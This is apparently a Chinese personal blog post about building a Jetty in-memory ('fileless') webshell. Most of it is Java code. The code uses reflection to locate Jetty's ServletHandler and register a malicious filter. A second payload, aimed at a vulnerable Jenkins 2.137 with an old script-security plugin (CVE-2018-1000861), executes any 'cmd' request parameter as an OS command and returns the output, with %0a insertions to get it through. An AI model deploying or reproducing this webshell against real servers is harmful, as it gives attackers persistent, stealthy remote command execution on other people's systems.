jetty内存马学习
2023-04-26 15:40:52

因为需要学习了一下 Jetty 内存马的一些知识点,但是其实很简单所以就简单记录一下吧,首先网上的一些 jetty 内存马都是从 threadLocals 中获取 WebAppClassLoader 的,但是如果是内嵌的 Jetty ,比如直接使用 Maven 引入 jetty 的话是没有的。

使用 java-object-searcher 工具找到一处很长的点,这里不用这个工具的 DFSBFS 直接用最简单的 JavaObjectSearcher

然后因为最终管理 filter的地方在 ServletHandler这个类,所以直接找就行:

1
2
3
4
5
6
7
8
9
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
JavaObjectSearcher searcher = new JavaObjectSearcher(Thread.currentThread(),new String[]{"ServletHandler"},"/tmp/search_out");
searcher.searchObject();

会找到一个超长的,但是它里面有一些数字,就是数组里会变化的,这里我就用了一些不太聪明的方法,写了一个函数做递归查找,最终的注入代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package org.example;

import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.ServletHandler;

import javax.management.ObjectName;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.EnumSet;
import java.util.Set;

public class InjectTestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
class a {
public Object this_o;
public ArrayList<String> chain = new ArrayList<String>();

public void search(Object search_o, int start_index) {

for (int i = start_index; i < chain.toArray().length; i++) {
String fieldName = chain.get(i);
try {
if (fieldName.startsWith("I[")) {
fieldName = fieldName.substring(2);
if (fieldName.contains("-")) {
Object[] objects = (Object[]) search_o;
for (int i2 = 0; i2 < objects.length; i2++) {
search(objects[i2], i + 1);
}
} else {
Integer index = Integer.parseInt(fieldName);
Object[] objects = (Object[]) search_o;
search(objects[index], i + 1);
}

} else {
Field f = search_o.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
Object servletHandler = f.get(search_o);
if (servletHandler.getClass() == ServletHandler.class) {
this_o = servletHandler;
return;
}
search(servletHandler, i + 1);
}
} catch (Exception e) {

}
}
}


public a pushChain(String s) {
chain.add(s);
return this;
}
}

Method getTh_m = Thread.class.getDeclaredMethod("getThreads");
getTh_m.setAccessible(true);
a xx = new a();

xx.pushChain("I[0")
.pushChain("target")
.pushChain("this$0")
.pushChain("workQueue")
.pushChain("queue")
.pushChain("I[0")
.pushChain("callable")
.pushChain("task")
.pushChain("arg$1")
.pushChain("_selector")
.pushChain("_selectorManager")
.pushChain("this$0")
.pushChain("_server")
.pushChain("_threadPool")
.pushChain("_threads")
.pushChain("map")
.pushChain("table")
.pushChain("I[-")
.pushChain("key")
.pushChain("group")
.pushChain("threads")
.pushChain("I[-")
.pushChain("threadLocals")
.pushChain("table")
.pushChain("I[-")
.pushChain("value")
.pushChain("this$0")
.pushChain("_servletHandler");

xx.search(getTh_m.invoke(null), 0);

ServletHandler sss = (ServletHandler) xx.this_o;

FilterHolder filterHolder = new FilterHolder(new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("filter inejcted");
}
@Override
public void destroy() {

}
});

sss.addFilterWithMapping(filterHolder, "/*", EnumSet.of(DispatcherType.REQUEST));

System.out.println(123456);
} catch (
Exception e) {
e.printStackTrace();
}
}
}

如下是 Pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<jetty.version>9.4.23.v20191118</jetty.version>
</properties>
<dependencies>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>${jetty.version}</version>
</dependency>

<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-webapp</artifactId>
<version>${jetty.version}</version>
</dependency>

<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-servlet</artifactId>
<version>${jetty.version}</version>
</dependency>
</dependencies>

然后由于我不会在 Jetty 中直接打自己的代码,我就用了调了一下 Jenkins 的漏洞:

下载一个 Jenkins 2.137,然后如果没网络装插件就直接跳过,然后下载一个 script-security 1.5.0 版本的插件,这个是我瞎找的一个低版本的。

插件传到 Jenkins 安装完后把 hpi后缀改成 jar,把里面的lib 复制出来放在 idea 就可以直接 debug 进去了。

此时就可以直接从threadLocals 中获取 WebAppClassLoader,这里有一点需要注意的是注入 Filter 时需要 FilterHolder 类,在上面的代码中是直接 new 的,但是在此处不行,可以使用反射的方式:从另外一个 Filter 中获取 FilterHolder这个类的控制器,然后实例化就行了,这里在 if while 后面这些地方都加了 %0a,就能直接打Jenkins了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import java.lang.reflect.Field;

import org.kohsuke.stapler.ResponseImpl;
import org.kohsuke.stapler.RequestImpl;

public class a {

public ResponseImpl response;
public RequestImpl request;

public Object getObjectByFieldname(String fieldname, Object o) {
Class cls = o.getClass();
Object ret_o = null;
while (cls != Object.class) {
try {
Field tmp_field = cls.getDeclaredField(fieldname);
tmp_field.setAccessible(true);
ret_o = tmp_field.get(o);
break;
} catch (Exception e) {
cls = cls.getSuperclass();
}
}%0a
return ret_o;
}
%0a

public void find_Request_and_Response() {
Object thread_o = Thread.currentThread();
Field threadLocals_f = thread_o.getClass().getDeclaredField("threadLocals");
threadLocals_f.setAccessible(true);
Object threadLocalMap = threadLocals_f.get(thread_o);
Field table_f = threadLocalMap.getClass().getDeclaredField("table");
table_f.setAccessible(true);
Object[] entries = (Object[]) table_f.get(threadLocalMap);
for (Object entry : entries) {
try {
Field value_f = entry.getClass().getDeclaredField("value");
value_f.setAccessible(true);
Object tmp = value_f.get(entry);
if (tmp.getClass() == ResponseImpl.class) {
response = (ResponseImpl) tmp;

} else if (tmp.getClass() == RequestImpl.class) {
request = (RequestImpl) tmp;
}
} catch (Exception e) {
}
}
}
%0a

public a() {
find_Request_and_Response();
Field request_f = javax.servlet.ServletRequestWrapper.class.getDeclaredField("request");
request_f.setAccessible(true);
Object request_o = request_f.get(request);
Object scope_o = getObjectByFieldname("_scope", request_o);%0a
Object _servletHandler_o = getObjectByFieldname("_servletHandler", scope_o);


Field _filters_f = _servletHandler_o.getClass().getDeclaredField("_filters");
_filters_f.setAccessible(true);
Object[] filters = (Object[]) _filters_f.get(_servletHandler_o);
Class filterHolderClas = filters[0].getClass();
java.lang.reflect.Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
Object filterHolder = filterHolderCons.newInstance(new javax.servlet.Filter() {
@Override
public void init(javax.servlet.FilterConfig filterConfig) throws javax.servlet.ServletException {

}%0a

@Override

public void doFilter(javax.servlet.ServletRequest servletRequest, javax.servlet.ServletResponse servletResponse, javax.servlet.FilterChain filterChain) throws IOException, javax.servlet.ServletException {
String cmd = servletRequest.getParameter("cmd");

if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
String line;
StringBuilder stringBuilder = new StringBuilder();

while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line);
}%0a
servletResponse.getWriter().write(stringBuilder.toString());
servletResponse.getWriter().close();
}%0a
filterChain.doFilter(servletRequest, servletResponse);

}
%0a
@Override

public void destroy() {

}
});


Class[] clss = new Class[3];
clss[0] = filterHolderClas;
clss[1] = java.lang.String.class;
clss[2] = EnumSet.class;

java.lang.reflect.Method m = _servletHandler_o.getClass().getDeclaredMethod("addFilterWithMapping", clss);

Object[] objs = new Object[3];
objs[0] = filterHolder;
objs[1] = "/*";
objs[2] = java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST);


m.invoke(_servletHandler_o, objs);

System.out.print(123);
}
%0a

}

参考

Jenkins CVE-2018-1000861 内存马注入

高版本jdk下jetty servlet型内存马编写

2023-04-26 15:40:52
Next